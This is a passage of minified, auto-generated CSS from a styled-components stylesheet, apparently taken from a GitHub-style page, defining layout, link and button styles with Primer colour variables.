solid;border-color:var(--borderColor-default,var(--color-border-default,#d0d7de));border-radius:6px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;}/*!sc*/\n@media screen and (max-width:543px){.iGmlUb{margin-left:-16px;margin-right:-16px;max-width:calc(100% + 32px);}}/*!sc*/\n@media screen and (min-width:544px){.iGmlUb{max-width:100%;}}/*!sc*/\n.iRQGXA{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;border-bottom:1px solid;border-bottom-color:var(--borderColor-default,var(--color-border-default,#d0d7de));-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding-right:8px;position:-webkit-sticky;position:sticky;top:0;background-color:var(--bgColor-default,var(--color-canvas-default,#ffffff));z-index:1;border-top-left-radius:6px;border-top-right-radius:6px;}/*!sc*/\n.dvTdPK{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;padding-left:8px;padding-right:8px;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;border-bottom:none;border-bottom-color:var(--borderColor-muted,var(--color-border-muted,hsla(210,18%,87%,1)));align:row;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;min-height:48px;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;max-width:100%;}/*!sc*/\n.gwuIGu{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}/*!sc*/\n.kOxwQs{-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;margin-right:8px;}/*!sc*/\n.kOgeFj{font-weight:600;}/*!sc*/\n.bJMeLZ{padding:32px;overflow:auto;}/*!sc*/\ndata-styled.g2[id=\"Box-sc-g0xbh4-0\"]{content:\"izjvBm,rPQgy,eUMEDg,eLcVee,hsfLlq,gpKoUz,kkrdEu,bKgizp,iPGYsi,dKmYfk,trpoQ,laYubZ,swnaL,bWpuBf,grHjNb,dXTsqj,dCOrmu,bVvbgP,bNDvfp,yfPnm,cAQuiW,iiUlLN,jmggSN,kvYunM,hrLuxA,ePjhhA,cuEKae,jEbBOT,bTxCvM,eYedVD,jGfYmh,lhFvfi,bqgLjk,epsqEd,ldpruc,ehcSsh,iGmlUb,iRQGXA,dvTdPK,gwuIGu,kOxwQs,kOgeFj,bJMeLZ,\"}/*!sc*/\n.bOMzPg{min-width:0;}/*!sc*/\n.eUGNHp{font-weight:600;}/*!sc*/\n.dALsKK{color:var(--fgColor-default,var(--color-fg-default,#1F2328));}/*!sc*/\ndata-styled.g6[id=\"Text-sc-17v1xeu-0\"]{content:\"bOMzPg,eUGNHp,dALsKK,\"}/*!sc*/\n.dheQRw{color:var(--fgColor-accent,var(--color-accent-fg,#0969da));-webkit-text-decoration:none;text-decoration:none;}/*!sc*/\n[data-a11y-link-underlines='true'] .Link__StyledLink-sc-14289xe-0[data-inline='true']{-webkit-text-decoration:underline;text-decoration:underline;}/*!sc*/\n.dheQRw:hover{-webkit-text-decoration:underline;text-decoration:underline;}/*!sc*/\n.dheQRw:is(button){display:inline-block;padding:0;font-size:inherit;white-space:nowrap;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:transparent;border:0;-webkit-appearance:none;-moz-appearance:none;appearance:none;}/*!sc*/\n.vLMkZ{color:var(--fgColor-accent,var(--color-accent-fg,#0969da));-webkit-text-decoration:none;text-decoration:none;position:relative;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;color:var(--fgColor-default,var(--color-fg-default,#1F2328));text-align:center;-webkit-text-decoration:none;text-decoration:none;line-height:calc(20/14);border-radius:6px;font-size:14px;padding-left:8px;padding-right:8px;padding-top:calc((2rem - 1.25rem) / 2);padding-bottom:calc((2rem - 1.25rem) / 2);}/*!sc*/\n[data-a11y-link-underlines='true'] .Link__StyledLink-sc-14289xe-0[data-inline='true']{-webkit-text-decoration:underline;text-decoration:underline;}/*!sc*/\n.vLMkZ:hover{-webkit-text-decoration:underline;text-decoration:underline;}/*!sc*/\n.vLMkZ:is(button){display:inline-block;padding:0;font-size:inherit;white-space:nowrap;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:transparent;border:0;-webkit-appearance:none;-moz-appearance:none;appearance:none;}/*!sc*/\n.vLMkZ span[data-component=\"icon\"]{color:var(--fgColor-muted,var(--color-fg-muted,#656d76));}/*!sc*/\n@media (hover:hover){.vLMkZ:hover{background-color:var(--bgColor-neutral-muted,var(--color-neutral-muted,rgba(175,184,193,0.2)));-webkit-transition:background .12s ease-out;transition:background .12s ease-out;-webkit-text-decoration:none;text-decoration:none;}}/*!sc*/\n.vLMkZ:focus{outline:2px solid transparent;}/*!sc*/\n.vLMkZ:focus{box-shadow:inset 0 0 0 2px var(--fgColor-accent,var(--color-accent-fg,#0969da));}/*!sc*/\n.vLMkZ:focus:not(:focus-visible){box-shadow:none;}/*!sc*/\n.vLMkZ:focus-visible{outline:2px solid transparent;box-shadow:inset 0 0 0 2px var(--fgColor-accent,var(--color-accent-fg,#0969da));}/*!sc*/\n.vLMkZ span[data-content]::before{content:attr(data-content);display:block;height:0;font-weight:600;visibility:hidden;white-space:nowrap;}/*!sc*/\n.vLMkZ::after{position:absolute;right:50%;bottom:calc(50% - 25px);width:100%;height:2px;content:\"\";background-color:var(--underlineNav-borderColor-active,var(--color-primer-border-active,#fd8c73));border-radius:0;-webkit-transform:translate(50%,-50%);-ms-transform:translate(50%,-50%);transform:translate(50%,-50%);}/*!sc*/\n@media (forced-colors:active){.vLMkZ::after{background-color:LinkText;}}/*!sc*/\n.bhqztV{color:var(--fgColor-accent,var(--color-accent-fg,#0969da));-webkit-text-decoration:none;text-decoration:none;position:relative;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;color:var(--fgColor-default,var(--color-fg-default,#1F2328));text-align:center;-webkit-text-decoration:none;text-decoration:none;line-height:calc(20/14);border-radius:6px;font-size:14px;padding-left:8px;padding-right:8px;padding-top:calc((2rem - 1.25rem) / 2);padding-bottom:calc((2rem - 1.25rem) / 2);}/*!sc*/\n[data-a11y-link-underlines='true'] .Link__StyledLink-sc-14289xe-0[data-inline='true']{-webkit-text-decoration:underline;text-decoration:underline;}/*!sc*/\n.bhqztV:hover{-webkit-text-decoration:underline;text-decoration:underline;}/*!sc*/\n.bhqztV:is(button){display:inline-block;padding:0;font-size:inherit;white-space:nowrap;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:transparent;border:0;-webkit-appearance:none;-moz-appearance:none;appearance:none;}/*!sc*/\n.bhqztV span[data-component=\"icon\"]{color:var(--fgColor-muted,var(--color-fg-muted,#656d76));}/*!sc*/\n@media (hover:hover){.bhqztV:hover{background-color:var(--bgColor-neutral-muted,var(--color-neutral-muted,rgba(175,184,193,0.2)));-webkit-transition:background .12s ease-out;transition:background .12s ease-out;-webkit-text-decoration:none;text-decoration:none;}}/*!sc*/\n.bhqztV:focus{outline:2px solid transparent;}/*!sc*/\n.bhqztV:focus{box-shadow:inset 0 0 0 2px var(--fgColor-accent,var(--color-accent-fg,#0969da));}/*!sc*/\n.bhqztV:focus:not(:focus-visible){box-shadow:none;}/*!sc*/\n.bhqztV:focus-visible{outline:2px solid transparent;box-shadow:inset 0 0 0 2px var(--fgColor-accent,var(--color-accent-fg,#0969da));}/*!sc*/\n.bhqztV span[data-content]::before{content:attr(data-content);display:block;height:0;font-weight:600;visibility:hidden;white-space:nowrap;}/*!sc*/\n.bhqztV::after{position:absolute;right:50%;bottom:calc(50% - 25px);width:100%;height:2px;content:\"\";background-color:transparent;border-radius:0;-webkit-transform:translate(50%,-50%);-ms-transform:translate(50%,-50%);transform:translate(50%,-50%);}/*!sc*/\n@media (forced-colors:active){.bhqztV::after{background-color:transparent;}}/*!sc*/\ndata-styled.g8[id=\"Link__StyledLink-sc-14289xe-0\"]{content:\"dheQRw,vLMkZ,bhqztV,\"}/*!sc*/\n.izDscS{border-radius:6px;border:1px solid;border-color:var(--button-default-borderColor-rest,var(--button-default-borderColor-rest,var(--color-btn-border,rgba(31,35,40,0.15))));font-family:inherit;font-weight:500;font-size:14px;cursor:pointer;-webkit-appearance:none;-moz-appearance:none;appearance:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-text-decoration:none;text-decoration:none;text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;height:32px;padding:0 12px;gap:8px;min-width:-webkit-max-content;min-width:-moz-max-content;min-width:max-content;-webkit-transition:80ms cubic-bezier(0.65,0,0.35,1);transition:80ms cubic-bezier(0.65,0,0.35,1);-webkit-transition-property:color,fill,background-color,border-color;transition-property:color,fill,background-color,border-color;color:var(--button-default-fgColor-rest,var(--color-btn-text,#24292f));background-color:var(--button-default-bgColor-rest,var(--color-btn-bg,#f6f8fa));box-shadow:var(--button-default-shadow-resting,var(--color-btn-shadow,0 1px 0 rgba(31,35,40,0.04))),var(--button-default-shadow-inset,var(--color-btn-inset-shadow,inset 0 1px 0 rgba(255,255,255,0.25)));}/*!sc*/\n.izDscS:focus:not(:disabled){box-shadow:none;outline:2px solid var(--fgColor-accent,var(--color-accent-fg,#0969da));outline-offset:-2px;}/*!sc*/\n.izDscS:focus:not(:disabled):not(:focus-visible){outline:solid 1px transparent;}/*!sc*/\n.izDscS:focus-visible:not(:disabled){box-shadow:none;outline:2px solid var(--fgColor-accent,var(--color-accent-fg,#0969da));outline-offset:-2px;}/*!sc*/\n.izDscS[href]{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;}/*!sc*/\n.izDscS[href]:hover{-webkit-text-decoration:none;text-decoration:none;}/*!sc*/\n.izDscS:hover{-webkit-transition-duration:80ms;transition-duration:80ms;}/*!sc*/\n.izDscS:active{-webkit-transition:none;transition:none;}/*!sc*/\n.izDscS[data-inactive]{cursor:auto;}/*!sc*/\n.izDscS:disabled{cursor:not-allowed;box-shadow:none;color:var(--fgColor-disabled,var(--color-primer-fg-disabled,#8c959f));border-color:var(--button-default-borderColor-disabled,var(--button-default-borderColor-rest,var(--color-btn-border,rgba(31,35,40,0.15))));}/*!sc*/\n.izDscS:disabled [data-component=ButtonCounter]{color:inherit;}/*!sc*/\n@media (forced-colors:active){.izDscS:focus{outline:solid 1px transparent;}}/*!sc*/\n.izDscS [data-component=ButtonCounter]{font-size:12px;background-color:var(--buttonCounter-default-bgColor-rest,var(--color-btn-counter-bg,rgba(31,35,40,0.08)));}/*!sc*/\n.izDscS[data-component=IconButton]{display:inline-grid;padding:unset;place-content:center;width:32px;min-width:unset;}/*!sc*/\n.izDscS[data-size=\"small\"]{padding:0 8px;height:28px;gap:4px;font-size:12px;}/*!sc*/\n.izDscS[data-size=\"small\"] [data-component=\"text\"]{line-height:calc(20 / 12);}/*!sc*/\n.izDscS[data-size=\"small\"] [data-component=ButtonCounter]{font-size:12px;}/*!sc*/\n.izDscS[data-size=\"small\"] [data-component=\"buttonContent\"] > :not(:last-child){margin-right:4px;}/*!sc*/\n.izDscS[data-size=\"small\"][data-component=IconButton]{width:28px;padding:unset;}/*!sc*/\n.izDscS[data-size=\"large\"]{padding:0 16px;height:40px;gap:8px;}/*!sc*/\n.izDscS[data-size=\"large\"] [data-component=\"buttonContent\"] > :not(:last-child){margin-right:8px;}/*!sc*/\n.izDscS[data-size=\"large\"][data-component=IconButton]{width:40px;padding:unset;}/*!sc*/\n.izDscS[data-block=\"block\"]{width:100%;}/*!sc*/\n.izDscS[data-inactive]:not([disabled]){background-color:var(--button-inactive-bgColor,var(--button-inactive-bgColor-rest,var(--color-btn-inactive-bg,#eaeef2)));border-color:var(--button-inactive-bgColor,var(--button-inactive-bgColor-rest,var(--color-btn-inactive-bg,#eaeef2)));color:var(--button-inactive-fgColor,var(--button-inactive-fgColor-rest,var(--color-btn-inactive-text,#57606a)));}/*!sc*/\n.izDscS[data-inactive]:not([disabled]):focus-visible{box-shadow:none;}/*!sc*/\n.izDscS [data-component=\"leadingVisual\"]{grid-area:leadingVisual;}/*!sc*/\n.izDscS [data-component=\"text\"]{grid-area:text;line-height:calc(20/14);white-space:nowrap;}/*!sc*/\n.izDscS [data-component=\"trailingVisual\"]{grid-area:trailingVisual;}/*!sc*/\n.izDscS [data-component=\"trailingAction\"]{margin-right:-4px;}/*!sc*/\n.izDscS [data-component=\"buttonContent\"]{-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;display:grid;grid-template-areas:\"leadingVisual text trailingVisual\";grid-template-columns:min-content minmax(0,auto) min-content;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;}/*!sc*/\n.izDscS [data-component=\"buttonContent\"] > :not(:last-child){margin-right:8px;}/*!sc*/\n.izDscS:hover:not([disabled]):not([data-inactive]){background-color:var(--button-default-bgColor-hover,var(--color-btn-hover-bg,#f3f4f6));border-color:var(--button-default-borderColor-hover,var(--button-default-borderColor-hover,var(--color-btn-hover-border,rgba(31,35,40,0.15))));}/*!sc*/\n.izDscS:active:not([disabled]):not([data-inactive]){background-color:var(--button-default-bgColor-active,var(--color-btn-active-bg,hsla(220,14%,93%,1)));border-color:var(--button-default-borderColor-active,var(--button-default-borderColor-active,var(--color-btn-active-border,rgba(31,35,40,0.15))));}/*!sc*/\n.izDscS[aria-expanded=true]{background-color:var(--button-default-bgColor-active,var(--color-btn-active-bg,hsla(220,14%,93%,1)));border-color:var(--button-default-borderColor-active,var(--button-default-borderColor-active,var(--color-btn-active-border,rgba(31,35,40,0.15))));}/*!sc*/\n.izDscS [data-component=\"leadingVisual\"],.izDscS [data-component=\"trailingVisual\"],.izDscS [data-component=\"trailingAction\"]{color:var(--button-color,var(--fgColor-muted,var(--color-fg-muted,#656d76)));}/*!sc*/\n.izDscS{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;}/*!sc*/\n.izDscS svg{color:var(--fgColor-muted,var(--color-fg-muted,#656d76));}/*!sc*/\n.izDscS > span{width:inherit;}/*!sc*/\n.cuOWTR{border-radius:6px;border:1px solid;border-color:transparent;font-family:inherit;font-weight:500;font-size:14px;cursor:pointer;-webkit-appearance:none;-moz-appearance:none;appearance:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-text-decoration:none;text-decoration:none;text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;height:32px;padding:0 12px;gap:8px;min-width:-webkit-max-content;min-width:-moz-max-content;min-width:max-content;-webkit-transition:80ms cubic-bezier(0.65,0,0.35,1);transition:80ms cubic-bezier(0.65,0,0.35,1);-webkit-transition-property:color,fill,background-color,border-color;transition-property:color,fill,background-color,border-color;color:var(--button-default-fgColor-rest,var(--color-btn-text,#24292f));background-color:transparent;box-shadow:none;}/*!sc*/\n.cuOWTR:focus:not(:disabled){box-shadow:none;outline:2px solid var(--fgColor-accent,var(--color-accent-fg,#0969da));outline-offset:-2px;}/*!sc*/\n.cuOWTR:focus:not(:disabled):not(:focus-visible){outline:solid 1px transparent;}/*!sc*/\n.cuOWTR:focus-visible:not(:disabled){box-shadow:none;outline:2px solid var(--fgColor-accent,var(--color-accent-fg,#0969da));outline-offset:-2px;}/*!sc*/\n.cuOWTR[href]{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;}/*!sc*/\n.cuOWTR[href]:hover{-webkit-text-decoration:none;text-decoration:none;}/*!sc*/\n.cuOWTR:hover{-webkit-transition-duration:80ms;transition-duration:80ms;}/*!sc*/\n.cuOWTR:active{-webkit-transition:none;transition:none;}/*!sc*/\n.cuOWTR[data-inactive]{cursor:auto;}/*!sc*/\n.cuOWTR:disabled{cursor:not-allowed;box-shadow:none;color:var(--fgColor-disabled,var(--color-primer-fg-disabled,#8c959f));}/*!sc*/\n.cuOWTR:disabled [data-component=ButtonCounter],.cuOWTR:disabled [data-component=\"leadingVisual\"],.cuOWTR:disabled [data-component=\"trailingAction\"]{color:inherit;}/*!sc*/\n@media (forced-colors:active){.cuOWTR:focus{outline:solid 1px transparent;}}/*!sc*/\n.cuOWTR [data-component=ButtonCounter]{font-size:12px;}/*!sc*/\n.cuOWTR[data-component=IconButton]{display:inline-grid;padding:unset;place-content:center;width:32px;min-width:unset;}/*!sc*/\n.cuOWTR[data-size=\"small\"]{padding:0 8px;height:28px;gap:4px;font-size:12px;}/*!sc*/\n.cuOWTR[data-size=\"small\"] [data-component=\"text\"]{line-height:calc(20 / 12);}/*!sc*/\n.cuOWTR[data-size=\"small\"] [data-component=ButtonCounter]{font-size:12px;}/*!sc*/\n.cuOWTR[data-size=\"small\"] [data-component=\"buttonContent\"] > :not(:last-child){margin-right:4px;}/*!sc*/\n.cuOWTR[data-size=\"small\"][data-component=IconButton]{width:28px;padding:unset;}/*!sc*/\n.cuOWTR[data-size=\"large\"]{padding:0 16px;height:40px;gap:8px;}/*!sc*/\n.cuOWTR[data-size=\"large\"] [data-component=\"buttonContent\"] > :not(:last-child){margin-right:8px;}/*!sc*/\n.cuOWTR[data-size=\"large\"][data-component=IconButton]{width:40px;padding:unset;}/*!sc*/\n.cuOWTR[data-block=\"block\"]{width:100%;}/*!sc*/\n.cuOWTR[data-inactive]:not([disabled]){background-color:var(--button-inactive-bgColor,var(--button-inactive-bgColor-rest,var(--color-btn-inactive-bg,#eaeef2)));border-color:var(--button-inactive-bgColor,var(--button-inactive-bgColor-rest,var(--color-btn-inactive-bg,#eaeef2)));color:var(--button-inactive-fgColor,var(--button-inactive-fgColor-rest,var(--color-btn-inactive-text,#57606a)));}/*!sc*/\n.cuOWTR[data-inactive]:not([disabled]):focus-visible{box-shadow:none;}/*!sc*/\n.cuOWTR [data-component=\"leadingVisual\"]{grid-area:leadingVisual;color:var(--fgColor-muted,var(--color-fg-muted,#656d76));}/*!sc*/\n.cuOWTR [data-component=\"text\"]{grid-area:text;line-height:calc(20/14);white-space:nowrap;}/*!sc*/\n.cuOWTR [data-component=\"trailingVisual\"]{grid-area:trailingVisual;}/*!sc*/\n.cuOWTR [data-component=\"trailingAction\"]{margin-right:-4px;color:var(--fgColor-muted,var(--color-fg-muted,#656d76));}/*!sc*/\n.cuOWTR [data-component=\"buttonContent\"]{-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;display:grid;grid-template-areas:\"leadingVisual text trailingVisual\";grid-template-columns:min-content minmax(0,auto) min-content;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;}/*!sc*/\n.cuOWTR [data-component=\"buttonContent\"] > :not(:last-child){margin-right:8px;}/*!sc*/\n.cuOWTR:hover:not([disabled]){background-color:var(--control-transparent-bgColor-hover,var(--color-action-list-item-default-hover-bg,rgba(208,215,222,0.32)));}/*!sc*/\n.cuOWTR:active:not([disabled]){background-color:var(--control-transparent-bgColor-active,var(--color-action-list-item-default-active-bg,rgba(208,215,222,0.48)));}/*!sc*/\n.cuOWTR[aria-expanded=true]{background-color:var(--control-transparent-bgColor-selected,var(--color-action-list-item-default-selected-bg,rgba(208,215,222,0.24)));}/*!sc*/\n.cuOWTR[data-component=\"IconButton\"][data-no-visuals]{color:var(--fgColor-muted,var(--color-fg-muted,#656d76));}/*!sc*/\n.cuOWTR[data-no-visuals]{color:var(--fgColor-accent,var(--color-accent-fg,#0969da));}/*!sc*/\n.cuOWTR:has([data-component=\"ButtonCounter\"]){color:var(--button-default-fgColor-rest,var(--color-btn-text,#24292f));}/*!sc*/\n.cuOWTR:disabled[data-no-visuals]{color:var(--fgColor-disabled,var(--color-primer-fg-disabled,#8c959f));}/*!sc*/\n.cuOWTR:disabled[data-no-visuals] [data-component=ButtonCounter]{color:inherit;}/*!sc*/\n.cuOWTR{color:var(--fgColor-muted,var(--color-fg-muted,#656d76));padding-left:4px;padding-right:4px;}/*!sc*/\n.cuOWTR span[data-component=\"leadingVisual\"]{margin-right:4px !important;}/*!sc*/\n.tDSzd{border-radius:6px;border:1px solid;border-color:transparent;font-family:inherit;font-weight:500;font-size:14px;cursor:pointer;-webkit-appearance:none;-moz-appearance:none;appearance:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-text-decoration:none;text-decoration:none;text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;height:32px;padding:0 12px;gap:8px;min-width:-webkit-max-content;min-width:-moz-max-content;min-width:max-content;-webkit-transition:80ms cubic-bezier(0.65,0,0.35,1);transition:80ms cubic-bezier(0.65,0,0.35,1);-webkit-transition-property:color,fill,background-color,border-color;transition-property:color,fill,background-color,border-color;color:var(--button-default-fgColor-rest,var(--color-btn-text,#24292f));background-color:transparent;box-shadow:none;}/*!sc*/\n.tDSzd:focus:not(:disabled){box-shadow:none;outline:2px solid var(--fgColor-accent,var(--color-accent-fg,#0969da));outline-offset:-2px;}/*!sc*/\n.tDSzd:focus:not(:disabled):not(:focus-visible){outline:solid 1px transparent;}/*!sc*/\n.tDSzd:focus-visible:not(:disabled){box-shadow:none;outline:2px solid var(--fgColor-accent,var(--color-accent-fg,#0969da));outline-offset:-2px;}/*!sc*/\n.tDSzd[href]{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;}/*!sc*/\n.tDSzd[href]:hover{-webkit-text-decoration:none;text-decoration:none;}/*!sc*/\n.tDSzd:hover{-webkit-transition-duration:80ms;transition-duration:80ms;}/*!sc*/\n.tDSzd:active{-webkit-transition:none;transition:none;}/*!sc*/\n.tDSzd[data-inactive]{cursor:auto;}/*!sc*/\n.tDSzd:disabled{cursor:not-allowed;box-shadow:none;color:var(--fgColor-disabled,var(--color-primer-fg-disabled,#8c959f));}/*!sc*/\n.tDSzd:disabled [data-component=ButtonCounter],.tDSzd:disabled [data-component=\"leadingVisual\"],.tDSzd:disabled [data-component=\"trailingAction\"]{color:inherit;}/*!sc*/\n@media (forced-colors:active){.tDSzd:focus{outline:solid 1px transparent;}}/*!sc*/\n.tDSzd [data-component=ButtonCounter]{font-size:12px;}/*!sc*/\n.tDSzd[data-component=IconButton]{display:inline-grid;padding:unset;place-content:center;width:32px;min-width:unset;}/*!sc*/\n.tDSzd[data-size=\"small\"]{padding:0 8px;height:28px;gap:4px;font-size:12px;}/*!sc*/\n.tDSzd[data-size=\"small\"] [data-component=\"text\"]{line-height:calc(20 / 12);}/*!sc*/\n.tDSzd[data-size=\"small\"] [data-component=ButtonCounter]{font-size:12px;}/*!sc*/\n.tDSzd[data-size=\"small\"] [data-component=\"buttonContent\"] > :not(:last-child){margin-right:4px;}/*!sc*/\n.tDSzd[data-size=\"small\"][data-component=IconButton]{width:28px;padding:unset;}/*!sc*/\n.tDSzd[data-size=\"large\"]{padding:0 16px;height:40px;gap:8px;}/*!sc*/\n.tDSzd[data-size=\"large\"] [data-component=\"buttonContent\"] > :not(:last-child){margin-right:8px;}/*!sc*/\n.tDSzd[data-size=\"large\"][data-component=IconButton]{width:40px;padding:unset;}/*!sc*/\n.tDSzd[data-block=\"block\"]{width:100%;}/*!sc*/\n.tDSzd[data-inactive]:not([disabled]){background-color:var(--button-inactive-bgColor,var(--button-inactive-bgColor-rest,var(--color-btn-inactive-bg,#eaeef2)));border-color:var(--button-inactive-bgColor,var(--button-inactive-bgColor-rest,var(--color-btn-inactive-bg,#eaeef2)));color:var(--button-inactive-fgColor,var(--button-inactive-fgColor-rest,var(--color-btn-inactive-text,#57606a)));}/*!sc*/\n.tDSzd[data-inactive]:not([disabled]):focus-visible{box-shadow:none;}/*!sc*/\n.tDSzd [data-component=\"leadingVisual\"]{grid-area:leadingVisual;color:var(--fgColor-muted,var(--color-fg-muted,#656d76));}/*!sc*/\n.tDSzd [data-component=\"text\"]{grid-area:text;line-height:calc(20/14);white-space:nowrap;}/*!sc*/\n.tDSzd [data-component=\"trailingVisual\"]{grid-area:trailingVisual;}/*!sc*/\n.tDSzd [data-component=\"trailingAction\"]{margin-right:-4px;color:var(--fgColor-muted,var(--color-fg-muted,#656d76));}/*!sc*/\n.tDSzd [data-component=\"buttonContent\"]{-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;display:grid;grid-template-areas:\"leadingVisual text trailingVisual\";grid-template-columns:min-content minmax(0,auto) min-content;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;}/*!sc*/\n.tDSzd [data-component=\"buttonContent\"] > :not(:last-child){margin-right:8px;}/*!sc*/\n.tDSzd:hover:not([disabled]){background-color:var(--control-transparent-bgColor-hover,var(--color-action-list-item-default-hover-bg,rgba(208,215,222,0.32)));}/*!sc*/\n.tDSzd:active:not([disabled]){background-color:var(--control-transparent-bgColor-active,var(--color-action-list-item-default-active-bg,rgba(208,215,222,0.48)));}/*!sc*/\n.tDSzd[aria-expanded=true]{background-color:var(--control-transparent-bgColor-selected,var(--color-action-list-item-default-selected-bg,rgba(208,215,222,0.24)));}/*!sc*/\n.tDSzd[data-component=\"IconButton\"][data-no-visuals]{color:var(--fgColor-muted,var(--color-fg-muted,#656d76));}/*!sc*/\n.tDSzd[data-no-visuals]{color:var(--fgColor-muted,var(--color-fg-muted,#656d76));}/*!sc*/\n.tDSzd:has([data-component=\"ButtonCounter\"]){color:var(--button-default-fgColor-rest,var(--color-btn-text,#24292f));}/*!sc*/\n.tDSzd:disabled[data-no-visuals]{color:var(--fgColor-disabled,var(--color-primer-fg-disabled,#8c959f));}/*!sc*/\n.tDSzd:disabled[data-no-visuals] [data-component=ButtonCounter]{color:inherit;}/*!sc*/\n.ftZGca{border-radius:6px;border:1px solid;border-color:var(--button-default-borderColor-rest,var(--button-default-borderColor-rest,var(--color-btn-border,rgba(31,35,40,0.15))));font-family:inherit;font-weight:500;font-size:14px;cursor:pointer;-webkit-appearance:none;-moz-appearance:none;appearance:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-text-decoration:none;text-decoration:none;text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;height:32px;padding:0 12px;gap:8px;min-width:-webkit-max-content;min-width:-moz-max-content;min-width:max-content;-webkit-transition:80ms cubic-bezier(0.65,0,0.35,1);transition:80ms cubic-bezier(0.65,0,0.35,1);-webkit-transition-property:color,fill,background-color,border-color;transition-property:color,fill,background-color,border-color;color:var(--button-default-fgColor-rest,var(--color-btn-text,#24292f));background-color:var(--button-default-bgColor-rest,var(--color-btn-bg,#f6f8fa));box-shadow:var(--button-default-shadow-resting,var(--color-btn-shadow,0 1px 0 rgba(31,35,40,0.04))),var(--button-default-shadow-inset,var(--color-btn-inset-shadow,inset 0 1px 0 rgba(255,255,255,0.25)));}/*!sc*/\n.ftZGca:focus:not(:disabled){box-shadow:none;outline:2px solid var(--fgColor-accent,var(--color-accent-fg,#0969da));outline-offset:-2px;}/*!sc*/\n.ftZGca:focus:not(:disabled):not(:focus-visible){outline:solid 1px transparent;}/*!sc*/\n.ftZGca:focus-visible:not(:disabled){box-shadow:none;outline:2px solid var(--fgColor-accent,var(--color-accent-fg,#0969da));outline-offset:-2px;}/*!sc*/\n.ftZGca[href]{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;}/*!sc*/\n.ftZGca[href]:hover{-webkit-text-decoration:none;text-decoration:none;}/*!sc*/\n.ftZGca:hover{-webkit-transition-duration:80ms;transition-duration:80ms;}/*!sc*/\n.ftZGca:active{-webkit-transition:none;transition:none;}/*!sc*/\n.ftZGca[data-inactive]{cursor:auto;}/*!sc*/\n.ftZGca:disabled{cursor:not-allowed;box-shadow:none;color:var(--fgColor-disabled,var(--color-primer-fg-disabled,#8c959f));border-color:var(--button-default-borderColor-disabled,var(--button-default-borderColor-rest,var(--color-btn-border,rgba(31,35,40,0.15))));}/*!sc*/\n.ftZGca:disabled [data-component=ButtonCounter]{color:inherit;}/*!sc*/\n@media (forced-colors:active){.ftZGca:focus{outline:solid 1px transparent;}}/*!sc*/\n.ftZGca [data-component=ButtonCounter]{font-size:12px;background-color:var(--buttonCounter-default-bgColor-rest,var(--color-btn-counter-bg,rgba(31,35,40,0.08)));}/*!sc*/\n.ftZGca[data-component=IconButton]{display:inline-grid;padding:unset;place-content:center;width:32px;min-width:unset;}/*!sc*/\n.ftZGca[data-size=\"small\"]{padding:0 